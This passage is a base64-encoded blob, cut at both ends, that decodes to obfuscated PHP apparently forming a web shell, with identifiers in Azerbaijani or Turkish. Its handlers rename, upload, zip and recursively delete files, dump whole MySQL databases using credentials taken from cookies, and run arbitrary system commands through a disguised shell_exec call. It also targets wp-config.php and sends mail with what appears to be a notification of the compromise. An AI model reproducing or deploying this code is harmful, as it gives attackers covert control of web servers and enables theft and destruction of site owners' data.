4gJGF5aXJpY2kgLiAkcGFwa2FBZGkpOyB9IH0gZWxzZSB7IGlmICgkbmUgPT0gIlx4NjZcMTQxXHg3OVwxNTRceDVmXDE0MVx4NjRceDVmXDE0NFx4NjVceDc5XDE1MVx4NzNceDY4IiAmJiBpc3NldCgkX1BPU1RbIlwxNDZceDYxXDE3MVwxNTQiXSkgJiYgJycgIT0gdHJpbSgkX1BPU1RbIlwxNDZceDYxXHg3OVwxNTQiXSkgJiYgaXNzZXQoJF9QT1NUWyJcMTU2XDE0NVx4NzdcMTM3XDE1Nlx4NjFcMTU1XDE0NSJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJcMTU2XHg2NVwxNjdceDVmXDE1NlwxNDFceDZkXHg2NSJdKSAmJiAhZW1wdHkoJF9QT1NUWyJceDZlXHg2NVx4NzdcMTM3XDE1NlwxNDFceDZkXHg2NSJdKSkgeyAkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXDE0NlwxNDFceDc5XDE1NCJdKSkpOyAkZmF5bFllbmlBZCA9IGJhc2VuYW1lKHVybGRlY29kZSgkX1BPU1RbIlx4NmVcMTQ1XDE2N1wxMzdceDZlXDE0MVx4NmRcMTQ1Il0pKTsgJGF5aXJpY2kgPSBzdWJzdHIoJGRlZmF1bHRfZGlyLCBzdHJsZW4oJGRlZmF1bHRfZGlyKSAtIDEpICE9ICJcNTciICYmIHN1YnN0cigkZmF5bEFkaSwgMCwgMSkgIT0gIlx4MmYiID8gIlx4MmYiIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKSB7IHJlbmFtZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpLCAkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsWWVuaUFkKTsgfSB9IGVsc2UgeyBpZiAoJG5lID09ICJcMTYzXHg2Ylx4NmNcMTM3XDE0NFx4NWZceDc0IiAmJiBpc3NldCgkX1BPU1RbIlx4NzQiXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsiXHg3NCJdKSAmJiAhZW1wdHkoJF9QT1NUWyJcMTY0Il0pKSB7ICR0YWJsZU5hbWUgPSBkZXNoaWZyZWxlKHVybGRlY29kZSgkX1BPU1RbIlwxNjQiXSkpOyAkaG9zdCA9IGlzc2V0KCRfQ09PS0lFWyJcMTUwXHg2ZlwxNjNceDc0Il0pID8gJF9DT09LSUVbIlx4NjhcMTU3XHg3M1x4NzQiXSA6ICcnOyAkdXNlciA9IGlzc2V0KCRfQ09PS0lFWyJceDc1XDE2M1wxNDVceDcyIl0pID8gJF9DT09LSUVbIlwxNjVcMTYzXHg2NVx4NzIiXSA6ICcnOyAkcGFyb2wgPSBpc3NldCgkX0NPT0tJRVsiXDE2MFx4NjFceDcyXDE1N1wxNTQiXSkgPyAkX0NPT0tJRVsiXHg3MFwxNDFceDcyXHg2Zlx4NmMiXSA6ICcnOyAkYmF6YSA9IGlzc2V0KCRfQ09PS0lFWyJceDYyXHg2MVwxNzJceDYxIl0pID8gJF9DT09LSUVbIlx4NjJceDYxXHg3YVx4NjEiXSA6ICcnOyAkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogIlx4NjRcMTQyXHg2ZVwxNDFcMTU1XDE0NVx4M2QiIC4gJGJhemEgLiAiXHgzYiI7IGlmICghZW1wdHkoJGhvc3QpICYmICFlbXB0eSgkYmF6YSkpIHsgdHJ5IHsgJHBkbyA9IG5ldyBQRE8oIlwxNTVcMTcxXDE2M1wxNjFceDZjXHgzYVwxNTBcMTU3XHg3M1x4NzRceDNkIiAuICRob3N0IC4gIlx4M2JceDYzXDE1MFx4NjFceDcyXDE2M1wxNDVcMTY0XHgzZFwxNjVceDc0XDE0Nlw3MFw3MyIgLiAkYmF6YVN0ciwgJHVzZXIsICRwYXJvbCwgYXJyYXkoUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCA9PiAiXHg1M1x4NDVceDU0XDQwXDExNlx4NDFceDRkXDEwNVx4NTNcNDBcNDdceDc1XDE2NFx4NjZceDM4XHgyNyIpKTsgJHBkby0+c2V0QXR0cmlidXRlKFBETzo6QVRUUl9ERUZBVUxUX0ZFVENIX01PREUsIFBETzo6RkVUQ0hfQVNTT0MpOyAkZ2V0Q29sdW1ucyA9ICRwZG8tPnByZXBhcmUoIlx4NTNceDQ1XDExNFwxMDVceDQzXHg1NFx4MjBcMTQzXDE1N1wxNTRceDc1XHg2ZFx4NmVcMTM3XDE1Nlx4NjFceDZkXDE0NVx4MjBcMTQ2XDE2MlwxNTdcMTU1XHgyMFwxNTFcMTU2XDE0NlwxNTdceDcyXDE1NVx4NjFceDc0XHg2OVwxNTdceDZlXDEzN1wxNjNcMTQzXDE1MFx4NjVcMTU1XDE0MVw1NlwxNDNcMTU3XDE1NFwxNjVcMTU1XHg2ZVwxNjNceDIwXDE2N1x4NjhceDY1XDE2Mlx4NjVcNDBcMTY0XHg2MVx4NjJcMTU0XHg2NVwxMzdcMTYzXHg2M1wxNTBceDY1XHg2ZFwxNDFceDNkXDc3XHgyMFwxNDFceDZlXHg2NFx4MjBcMTY0XHg2MVwxNDJcMTU0XHg2NVwxMzdcMTU2XDE0MVx4NmRceDY1XHgzZFw3NyIpOyAkZ2V0Q29sdW1ucy0+ZXhlY3V0ZShhcnJheSgkYmF6YSwgJHRhYmxlTmFtZSkpOyAkY29sdW1ucyA9ICRnZXRDb2x1bW5zLT5mZXRjaEFsbCgpOyBpZiAoJGNvbHVtbnMpIHsgJGRhdGEgPSAkcGRvLT5xdWVyeSgiXDEyM1wxMDVcMTE0XHg0NVx4NDNceDU0XDQwXDUyXHgyMFwxMDZcMTIyXDExN1x4NGRcNDBceDYwIiAuICR0YWJsZU5hbWUgLiAiXDE0MCIpOyAkZGF0YSA9ICRkYXRhLT5mZXRjaEFsbCgpOyBoZWFkZXIoIlx4NDNceDZmXHg2ZVwxNjRceDY1XDE1NlwxNjRcNTVcMTQ0XHg2OVx4NzNceDcwXHg2ZlwxNjNcMTUxXDE2NFwxNTFceDZmXDE1Nlx4M2FcNDBcMTQxXDE2NFx4NzRcMTQxXHg2M1x4NjhceDZkXDE0NVx4NmVceDc0XDczXHgyMFx4NjZcMTUxXHg2Y1x4NjVcMTU2XDE0MVx4NmRceDY1XHgzZFwxNDRceDVmIiAuIGJhc2VuYW1lKGh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkpIC4gIlw1Nlx4NmFceDczXHg2Zlx4NmUiKTsgaGVhZGVyKCJcMTAzXHg2Zlx4NmVceDc0XHg2NVwxNTZcMTY0XDU1XHg3NFx4NzlceDcwXHg2NVx4M2FcNDBcMTQxXHg3MFx4NzBceDZjXHg2OVx4NjNceDYxXHg3NFx4NjlcMTU3XDE1Nlw1N1x4NmFceDczXDE1N1x4NmUiKTsgZWNobyBqc29uX2VuY29kZSgkZGF0YSk7IH0gZWxzZSB7IHByaW50ICJcMTI0XHg2MVx4NjJcMTU0XHg2NVw0MFx4NmVceDZmXHg3NFx4MjBceDY2XHg2Zlx4NzVcMTU2XDE0NFw0MSI7IH0gfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7IHByaW50ICRlLT5nZXRNZXNzYWdlKCk7IH0gfSBlbHNlIHsgcHJpbnQgIlx4NDVcMTYyXDE2Mlx4NmZcMTYyXDQxXHgyMFx4NTBcMTU0XHg2NVwxNDFcMTYzXDE0NVw0MFwxNDNceDZmXHg2ZVwxNTZceDY1XHg2M1wxNjRcNDBcMTY0XHg2Zlx4MjBcMTIzXHg1MVwxMTRcNDEiOyB9IGRpZTsgfSBlbHNlIHsgaWYgKCRuZSA9PSAiXHg3M1x4NmJcMTU0XDEzN1x4NjQiKSB7ICRob3N0ID0gaXNzZXQoJF9DT09LSUVbIlx4NjhcMTU3XHg3M1wxNjQiXSkgPyAkX0NPT0tJRVsiXHg2OFx4NmZceDczXDE2NCJdIDogJyc7ICR1c2VyID0gaXNzZXQoJF9DT09LSUVbIlx4NzVceDczXHg2NVwxNjIiXSkgPyAkX0NPT0tJRVsiXHg3NVwxNjNceDY1XDE2MiJdIDogJyc7ICRwYXJvbCA9IGlzc2V0KCRfQ09PS0lFWyJcMTYwXHg2MVwxNjJceDZmXDE1NCJdKSA/ICRfQ09PS0lFWyJceDcwXDE0MVx4NzJcMTU3XDE1NCJdIDogJyc7ICRiYXphID0gaXNzZXQoJF9DT09LSUVbIlx4NjJcMTQxXHg3YVwxNDEiXSkgPyAkX0NPT0tJRVsiXDE0Mlx4NjFceDdhXDE0MSJdIDogJyc7ICRiYXphU3RyID0gZW1wdHkoJGJhemEpID8gJycgOiAiXDE0NFx4NjJceDZlXHg2MVwxNTVcMTQ1XDc1IiAuICRiYXphIC4gIlx4M2IiOyBpZiAoIWVtcHR5KCRob3N0KSAmJiAhZW1wdHkoJGJhemEpKSB7IHRyeSB7ICRwZG8gPSBuZXcgUERPKCJcMTU1XHg3OVwxNjNcMTYxXHg2Y1x4M2FcMTUwXDE1N1x4NzNcMTY0XDc1IiAuICRob3N0IC4gIlw3M1wxNDNcMTUwXHg2MVx4NzJceDczXDE0NVx4NzRceDNkXDE2NVwxNjRceDY2XDcwXHgzYiIgLiAkYmF6YVN0ciwgJHVzZXIsICRwYXJvbCwgYXJyYXkoUERPOjpNWVNRTF9BVFRSX0lOSVRfQ09NTUFORCA9PiAiXHg1M1x4NDVceDU0XHgyMFwxMTZcMTAxXDExNVx4NDVcMTIzXDQwXHgyN1x4NzVcMTY0XDE0Nlx4MzhcNDciKSk7ICRwZG8tPnNldEF0dHJpYnV0ZShQRE86OkFUVFJfREVGQVVMVF9GRVRDSF9NT0RFLCBQRE86OkZFVENIX0FTU09DKTsgJGFsbERhdGEgPSBhcnJheSgpOyAkdGFibGVzID0gJHBkby0+cHJlcGFyZSgiXDEyM1x4NDVceDRjXHg0NVx4NDNceDU0XDQwXDE2NFwxNDFcMTQyXDE1NFwxNDVceDVmXHg2ZVx4NjFceDZkXHg2NVw0MFx4NjZceDcyXDE1N1x4NmRceDIwXHg2OVx4NmVceDY2XHg2Zlx4NzJceDZkXHg2MVwxNjRceDY5XHg2Zlx4NmVceDVmXDE2M1x4NjNcMTUwXDE0NVx4NmRceDYxXHgyZVx4NzRcMTQxXDE0Mlx4NmNceDY1XDE2M1w0MFx4NzdcMTUwXHg2NVx4NzJceDY1XDQwXHg3NFx4NjFceDYyXHg2Y1x4NjVceDVmXHg3M1x4NjNcMTUwXDE0NVx4NmRceDYxXDc1XDc3Iik7ICR0YWJsZXMtPmV4ZWN1dGUoYXJyYXkoJGJhemEpKTsgJHRhYmxlcyA9ICR0YWJsZXMtPmZldGNoQWxsKCk7IGZvcmVhY2ggKCR0YWJsZXMgYXMgJHRhYmxlTmFtZSkgeyAkdGFibGVOYW1lID0gJHRhYmxlTmFtZVsiXDE2NFx4NjFceDYyXHg2Y1wxNDVcMTM3XHg2ZVx4NjFcMTU1XHg2NSJdOyAkZGF0YSA9ICRwZG8tPnF1ZXJ5KCJceDUzXHg0NVwxMTRcMTA1XDEwM1wxMjRceDIwXHgyYVw0MFx4NDZceDUyXHg0Zlx4NGRcNDBceDYwIiAuICR0YWJsZU5hbWUgLiAiXDE0MCIpOyAkZGF0YSA9ICRkYXRhLT5mZXRjaEFsbCgpOyAkYWxsRGF0YVskdGFibGVOYW1lXSA9ICRkYXRhID8gYXJyYXkoJGRhdGEpIDogYXJyYXkoKTsgfSBoZWFkZXIoIlwxMDNceDZmXHg2ZVwxNjRcMTQ1XDE1Nlx4NzRcNTVceDY0XHg2OVx4NzNceDcwXHg2Zlx4NzNceDY5XDE2NFx4NjlcMTU3XDE1Nlx4M2FceDIwXDE0MVx4NzRceDc0XHg2MVwxNDNceDY4XDE1NVx4NjVceDZlXHg3NFx4M2JceDIwXHg2Nlx4NjlcMTU0XHg2NVx4NmVcMTQxXDE1NVwxNDVcNzVceDY0XHg1ZlwxNDJceDVmIiAuIGJhc2VuYW1lKGh0bWxzcGVjaWFsY2hhcnMoJGJhemEpKSAuICJceDJlXHg2YVwxNjNcMTU3XDE1NiIpOyBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjRceDJkXDE2NFx4NzlcMTYwXDE0NVx4M2FcNDBcMTQxXDE2MFwxNjBceDZjXDE1MVx4NjNcMTQxXHg3NFwxNTFceDZmXDE1Nlx4MmZceDZhXHg3M1x4NmZceDZlIik7IGVjaG8ganNvbl9lbmNvZGUodXRmOGl6ZSgkYWxsRGF0YSkpOyB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsgcHJpbnQgJGUtPmdldE1lc3NhZ2UoKTsgfSB9IGVsc2UgeyBwcmludCAiXHg0NVx4NzJcMTYyXDE1N1wxNjJceDIxXHgyMFwxMjBcMTU0XHg2NVx4NjFceDczXHg2NVx4MjBcMTQzXHg2Zlx4NmVceDZlXHg2NVx4NjNceDc0XHgyMFwxNjRceDZmXHgyMFwxMjNceDUxXDExNFx4MjEiOyB9IGRpZTsgfSBlbHNlIHsgaWYgKCRuZSA9PSAiXDE3MlwxNTFcMTYwXHg2Y1x4NjUiICYmIGlzc2V0KCRfUE9TVFsiXHg3M1x4NjFceDc2XDE0NVx4NWZcMTY0XHg2ZiJdLCAkX1BPU1RbIlx4N2FcMTQ2Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlx4NzNcMTQxXDE2NlwxNDVcMTM3XDE2NFwxNTciXSkgJiYgIWVtcHR5KCRfUE9TVFsiXHg3M1x4NjFcMTY2XHg2NVx4NWZceDc0XDE1NyJdKSAmJiAhaW5fYXJyYXkoJF9QT1NUWyJceDczXHg2MVx4NzZceDY1XHg1Zlx4NzRceDZmIl0sIGFycmF5KCJcNTYiLCAiXDU2XDU2IiwgIlx4MmVcNTciLCAiXDU2XHgyZVw1NyIpKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJceDdhXDE0NiJdKSAmJiAhZW1wdHkoJF9QT1NUWyJcMTcyXHg2NiJdKSkgeyAkc2F2ZV90byA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXDE2M1x4NjFceDc2XHg2NVx4NWZceDc0XDE1NyJdKSk7ICRyb290UGF0aCA9IHJlYWxwYXRoKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXDE3Mlx4NjYiXSkpKTsgJGZpbGVOYW1lMSA9ICJceDYyXHg2MVx4NmJcMTM3IiAuIG1pY3JvdGltZSgxKSAuICJcMTM3IiAuIHJhbmQoMTAwMCwgOTk5OTkpIC4gIlx4MmVcMTcyXDE1MVx4NzAiOyAkZmlsZU5hbWUgPSAkc2F2ZV90byAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZU5hbWUxOyBpZiAoaXNfZGlyKCRzYXZlX3RvKSAmJiBpc19kaXIoJHJvb3RQYXRoKSAmJiBpc193cml0YWJsZSgkc2F2ZV90bykpIHsgc2V0X3RpbWVfbGltaXQoMCk7ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAkemlwLT5vcGVuKCRmaWxlTmFtZSwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKTsgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRyb290UGF0aCksIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZKTsgZm9yZWFjaCAoJGZpbGVzIGFzICRuYW1lID0+ICRmaWxlKSB7IGlmICghJGZpbGUtPmlzRGlyKCkpIHsgJGZpbGVQYXRoID0gJGZpbGUtPmdldFJlYWxQYXRoKCk7ICRyZWxhdGl2ZVBhdGggPSBzdWJzdHIoJGZpbGVQYXRoLCBzdHJsZW4oJHJvb3RQYXRoKSArIDEpOyAkemlwLT5hZGRGaWxlKCRmaWxlUGF0aCwgJHJlbGF0aXZlUGF0aCk7IH0gfSAkemlwLT5jbG9zZSgpOyBwcmludCAiXHg1M1x4NjFceDc2XDE0NVwxNDRceDIxXHgzY1x4NjhcMTYyXHgzZSI7IH0gZWxzZSB7IHByaW50ICJceDQ0XDE1MVx4NzJcNDBceDY5XHg3M1w0MFwxNTZcMTU3XDE2NFw0MFwxNjdceDcyXDE1MVx4NzRcMTQ1XDE0MVx4NjJceDZjXHg2NVx4MjFceDNjXDE1MFwxNjJcNzYiOyB2YXJfZHVtcCgkc2F2ZV90byk7IH0gfSBlbHNlIHsgaWYgKCRuZSA9PSAiXDE2MFx4NjFcMTYwXDE1M1wxNDFcMTM3XHg3M1x4NjlcMTU0IiAmJiBpc3NldCgkX1BPU1RbIlwxNzJcMTQ2Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNzJcMTQ2Il0pICYmICFlbXB0eSgkX1BPU1RbIlwxNzJcMTQ2Il0pKSB7ICRyb290UGF0aCA9IHJlYWxwYXRoKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXHg3YVx4NjYiXSkpKTsgaWYgKGlzX2Rpcigkcm9vdFBhdGgpKSB7IHNldF90aW1lX2xpbWl0KDApOyBycm1kaXIoJHJvb3RQYXRoKTsgfSBlbHNlIHsgcHJpbnQgIlx4NDRcMTUxXHg3Mlx4MjBceDY5XHg3M1w0MFx4NmVceDZmXHg3NFw0MFwxNjdcMTYyXHg2OVwxNjRceDY1XDE0MVwxNDJceDZjXHg2NVx4MjFceDNjXDE1MFx4NzJceDNlIjsgdmFyX2R1bXAoJHNhdmVfdG8pOyB9IH0gZWxzZSB7IGlmICgkbmUgPT0gIlx4NjZceDYxXHg3OVwxNTRcMTM3XDE2NVwxNjBceDZjIiAmJiBpc3NldCgkX0ZJTEVTWyJceDc1XHg2Nlx4NjFcMTcxXDE1NCJdKSkgeyBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siXDE2NVwxNDZcMTQxXDE3MVwxNTQiXVsiXDE2NFx4NmRceDcwXHg1Zlx4NmVcMTQxXDE1NVx4NjUiXSwgJGRlZmF1bHRfZGlyIC4gIlw1NyIgLiAkX0ZJTEVTWyJceDc1XHg2NlwxNDFcMTcxXHg2YyJdWyJceDZlXHg2MVwxNTVcMTQ1Il0pOyBwcmludCAiXDEyNVx4NzBceDZjXHg2ZlwxNDFcMTQ0XDQwXDE1N1wxNTRcMTQ0XHg3NVw0MFwxNDRceDY1XHg3OVwxNDVcMTYzXHg2NVx4NmVceDJlIjsgfSB9IH0gfSB9IH0gfSB9IH0gfSB9IH0gZ290byBNdmVYZjsgbnNxMFE6IGZ1bmN0aW9uIHV0ZjhpemUoJGQpIHsgaWYgKGlzX2FycmF5KCRkKSkgeyBmb3JlYWNoICgkZCBhcyAkayA9PiAkdikgeyAkZFska10gPSB1dGY4aXplKCR2KTsgfSB9IGVsc2UgeyBpZiAoaXNfc3RyaW5nKCRkKSkgeyByZXR1cm4gdXRmOF9lbmNvZGUoJGQpOyB9IH0gcmV0dXJuICRkOyB9IGdvdG8gTEZ0R3A7IEIzdXg3OiAkd3BfY29kZSA9ICRkb2N1bWVudF9yb290IC4gIlw1N1x4NzdcMTYwXDU1XDE0M1wxNTRceDZmXHg2ZVw1NlwxNjBceDY4XDE2MCI7IGdvdG8gUXhmRnQ7IERYRUxtOiBtYWlsKCRraW1lLCAkYmFzbGlrLCAkRUxfTXVIYU1NZUQpOyBnb3RvIGZNYVRYOyBYbG9ySjogZWNobyB1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSk7IGdvdG8gbGo0R1k7IHc3MXk3OiAkaXBfcmVtb3RlID0gJF9TRVJWRVJbIlx4NTJcMTA1XDExNVx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl07IGdvdG8gZHdLdWw7IFJoN3llOiBmdW5jdGlvbiBxb3ZsdXF1WWF6KCkgeyBnbG9iYWwgJGRlZmF1bHRfZGlyOyAkc29uRGlyID0gYXJyYXkoKTsgJHVtdW1pSGlzc2VsZXIgPSAnJzsgJHBhcnNlID0gZXhwbG9kZSgiXHgyZiIsICRkZWZhdWx0X2Rpcik7ICRpaSA9IDA7IGZvcmVhY2ggKCRwYXJzZSBhcyAkaGlzc2UpIHsgJGlpKys7ICR1bXVtaUhpc3NlbGVyIC49ICRoaXNzZSAuICJceDJmIjsgJHNvbkRpcltdID0gIlx4M2NceDYxXHgyMFwxNTBceDcyXDE0NVwxNDZceDNkXDQ3XHg2YVwxNDFceDc2XDE0MVx4NzNceDYzXHg3MlwxNTFcMTYwXDE2NFw3Mlx4NzNcMTQ1XHg2OFwxNTFcMTQ2XHg2NVw1MFw0Mlw3N1x4NzFcMTU3XHg3Nlx4NmNceDc1XHg3MVw3NSIgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCR1bXVtaUhpc3NlbGVyKSkpIC4gIlw0Mlx4MjlcNDdcNzYiIC4gaHRtbHNwZWNpYWxjaGFycyhlbXB0eSgkaGlzc2UpICYmICRpaSAhPSBjb3VudCgkcGFyc2UpID8gIlw1NyIgOiAkaGlzc2UpIC4gIlw3NFx4MmZcMTQxXHgzZSI7IH0gJHNvbkRpciA9IGltcGxvZGUoIlw1NyIsICRzb25EaXIpOyBwcmludCAkc29uRGlyIC4gIlx4MjZceDZlXDE0Mlx4NzNcMTYwXHgzYlw0Nlx4NmVceDYyXHg3M1wxNjBcNzNcNDZcMTU2XDE0MlwxNjNceDcwXDczXDQ2XHg2ZVwxNDJcMTYzXDE2MFx4M2JcNDZceDZlXHg2MlwxNjNceDcwXDczXHgyNlwxNTZceDYyXHg3M1wxNjBcNzNcNTBcNDBceDNjXDE0MVx4MjBcMTUwXDE2Mlx4NjVcMTQ2XDc1XHgyMlw0Mlw3NlwxMjJcMTQ1XHg3M1x4NjVceDc0XHgzY1w1N1wxNDFcNzZcNDBceDdjXHgyMFw3NFwxNDFceDIwXHg2OFx4NzJceDY1XHg2Nlx4M2RcNDJcMTUyXDE0MVx4NzZceDYxXHg3M1wxNDNcMTYyXDE1MVx4NzBcMTY0XHgzYVx4NjdceDZmXDE2NFx4NmZcNTBceDI5XDQyXDc2XDEwN1x4NmZcNDBcMTY0XHg2Zlx4M2NcNTdceDYxXHgzZVw0MFw1MSI7IH0gZ290byB5eDZhajsgQkExSVI6IGlmICgkbmUgPT0gIlx4NzBceDY4XDE2MFx4NjlcMTU2XHg2Nlx4NmYiKSB7IHByaW50ICJcNzRceDY0XDE1MVwxNjZcNDBcMTYzXDE2NFwxNzFceDZjXHg2NVx4M2RceDI3XDE2N1x4NjlceDY0XHg3NFwxNTBcNzJceDIwXDYxXHgzMFw2MFx4MjVceDNiXDQwXHg2OFwxNDVcMTUxXHg2N1x4NjhceDc0XDcyXDQwXHgzNFx4MzBceDMwXHg3MFx4NzhceDNiXHgyN1w3Nlx4M2NceDY5XDE0NlwxNjJcMTQxXHg2ZFwxNDVceDIwXDE2M1x4NzJcMTQzXDc1XDQ3XDc3XHg2ZVx4NjVcNzVcMTYwXDE1MVwxNTZcMTQ2XDQ3XHgyMFx4NzNcMTY0XDE3MVx4NmNcMTQ1XHgzZFw0N1x4NzdceDY5XHg2NFx4NzRcMTUwXHgzYVx4MjBcNjFcNjBcNjBceDI1XHgzYlx4MjBceDY4XDE0NVwxNTFceDY3XHg2OFx4NzRcNzJceDIwXHgzNFw2MFw2MFx4NzBcMTcwXHgzYlx4MjBceDYyXDE1N1wxNjJceDY0XHg2NVwxNjJceDNhXDQwXDYwXHgzYlx4MjdceDNlXDc0XHgyZlwxNTFcMTQ2XDE2MlwxNDFcMTU1XHg2NVx4M2VceDNjXDU3XDE0NFx4NjlcMTY2XHgzZSI7IH0gZWxzZSB7IGlmICgkbmUgPT0gIlwxNjNcMTUxXDE2M1x4NzRcMTQ1XDE1NVwxMzdcMTUzXHg2Zlx4NmQiKSB7IGlmIChpc3NldCgkX1BPU1RbIlx4NmJceDZmXDE1NSJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJcMTUzXDE1N1x4NmQiXSkgJiYgIWVtcHR5KCRfUE9TVFsiXHg2Ylx4NmZcMTU1Il0pKSB7ICRrb21hbmRhID0gZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWyJceDZiXDE1N1x4NmQiXSkpOyAkayA9ICJceDczXHg2OCI7ICRrIC49ICJcMTQ1XHg2YyI7ICRrIC49ICJceDZjXDEzN1x4NjUiOyAkayAuPSAiXDE3MFx4NjUiOyAkayAuPSAiXDE0MyI7ICRvdXRwdXQgPSAkaygka29tYW5kYSk7IHByaW50ICJceDNjXDE2MFwxNjJcMTQ1XDQwXDE2M1x4NzRcMTcxXHg2Y1x4NjVcNzVcNDJceDZkXHg2MVwxNzBcNTVcMTUwXHg2NVx4NjlcMTQ3XHg2OFwxNjRceDNhXDQwXDYzXDY1XHgzMFx4NzBceDc4XDczXDE1N1x4NzZcMTQ1XDE2MlwxNDZcMTU0XHg2Zlx4NzdceDNhXDQwXDE0MVx4NzVcMTY0XHg2Zlw3M1x4MjBcMTQyXDE1N1wxNjJcMTQ0XHg2NVwxNjJcNzJcNDBceDMxXHg3MFx4NzhceDIwXHg3M1x4NmZcMTU0XDE1MVwxNDRcNDBceDIzXHgzN1x4MzdcNjdceDNiXDQwXDE2MFwxNDFceDY0XDE0NFx4NjlceDZlXDE0N1x4M2FcNDBcNjVceDcwXDE3MFw3M1w0Mlw3NiIgLiBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpIC4gIlx4M2NcNTdceDcwXDE2MlwxNDVcNzZcNzRcMTUwXHg3Mlw3NiI7IH0gcHJpbnQgIlx4M2NcMTUxXDE1NlwxNjBceDc1XDE2NFx4MjBceDc0XDE3MVwxNjBceDY1XDc1XHgyMlx4NzRcMTQ1XDE3MFx4NzRceDIyXDQwXHg2OVwxNDRcNzVcNDJceDY1XDE1NVx4NzJcMTM3XHg2NVwxNjRcMTM3XDE0MVx4NzRcMTQxXHg3M1x4NjhcNDJcNDBcMTYzXDE2NFx4NzlceDZjXHg2NVw3NVw0Mlx4NzdcMTUxXHg2NFwxNjRcMTUwXDcyXDQwXDY1XHgzMFx4MzBceDcwXDE3MFx4M2JceDIyXHgzZVw0MFw3NFwxNDJcMTY1XDE2NFx4NzRceDZmXHg2ZVx4MjBcMTY0XHg3OVx4NzBceDY1XDc1XHgyMlwxNDJceDc1XDE2NFwxNjRcMTU3XDE1Nlx4MjJcNDBceDYzXHg2Y1x4NjFcMTYzXDE2M1w3NVw0MlwxNDJcMTY0XDE1Nlw0Mlw0MFwxNTdcMTU2XDE0M1x4NmNcMTUxXDE0M1x4NmJceDNkXDQyXDE2M1x4NjlcMTYzXHg3NFwxNDVcMTU1XDExM1wxNTdceDZkXHgyOFx4MjlcNzNceDIyXDc2XDEwMlx4NjFceDczXHgzY1w1N1wxNDJceDc1XHg3NFx4NzRceDZmXDE1Nlx4M2UiOyB9IGVsc2UgeyBpZiAoJG5lID09ICJceDY2XHg2MVx4NzlceDZjXDEzN1wxNTdceDc4XDE2NSIgJiYgaXNzZXQoJF9QT1NUWyJcMTQ2XHg2MVx4NzlceDZjIl0pICYmICcnICE9IHRyaW0oJF9QT1NUWyJcMTQ2XDE0MVwxNzFcMTU0Il0pKSB7ICRmYXlsQWRpID0gYmFzZW5hbWUoZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWyJceDY2XHg2MVwxNzFceDZjIl0pKSk7ICRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2Rpciwgc3RybGVuKCRkZWZhdWx0X2RpcikgLSAxKSAhPSAiXHgyZiIgJiYgc3Vic3RyKCRmYXlsQWRpLCAwLCAxKSAhPSAiXHgyZiIgPyAiXHgyZiIgOiAnJzsgaWYgKGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgJiYgaXNfcmVhZGFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpIHsgJGVsYXZlQnRuID0gaXNfd3JpdGVhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpID8gIlw0MFwxNTdceDZlXHg2M1wxNTRceDY5XHg2M1x4NmJceDNkXHgyN1wxNjNceDY1XDE1MFx4NjlceDY2XHg2NVw1MFx4MjJceDNmXHg2ZVwxNDVcNzVcMTQ2XDE0MVx4NzlceDZjXDEzN1wxNjJcMTQ1XDE0NFwxNDFcMTUzXDE2NFx4NjVcNDZcMTQ2XHg2MVx4NzlcMTU0XDc1IiAuIHVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGZheWxBZGkpKSkgLiAiXHgyNlx4NzFcMTU3XDE2Nlx4NmNceDc1XHg3MVw3NSIgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKSAuICJcNDJcNTFceDI3IiA6ICJcNDBceDY0XDE1MVwxNjNcMTQxXDE0MlwxNTRcMTQ1XHg2NCI7IHByaW50ICJcNzRceDY0XDE1MVx4NzZcNzZceDQ2XDE0MVx4NzlcMTU0XHgyMFx4NjFcMTQ0XHgyNlx4MjNceDMzXDYwXHgzNVw3M1x4M2FceDIwXDc0XDE2M1wxN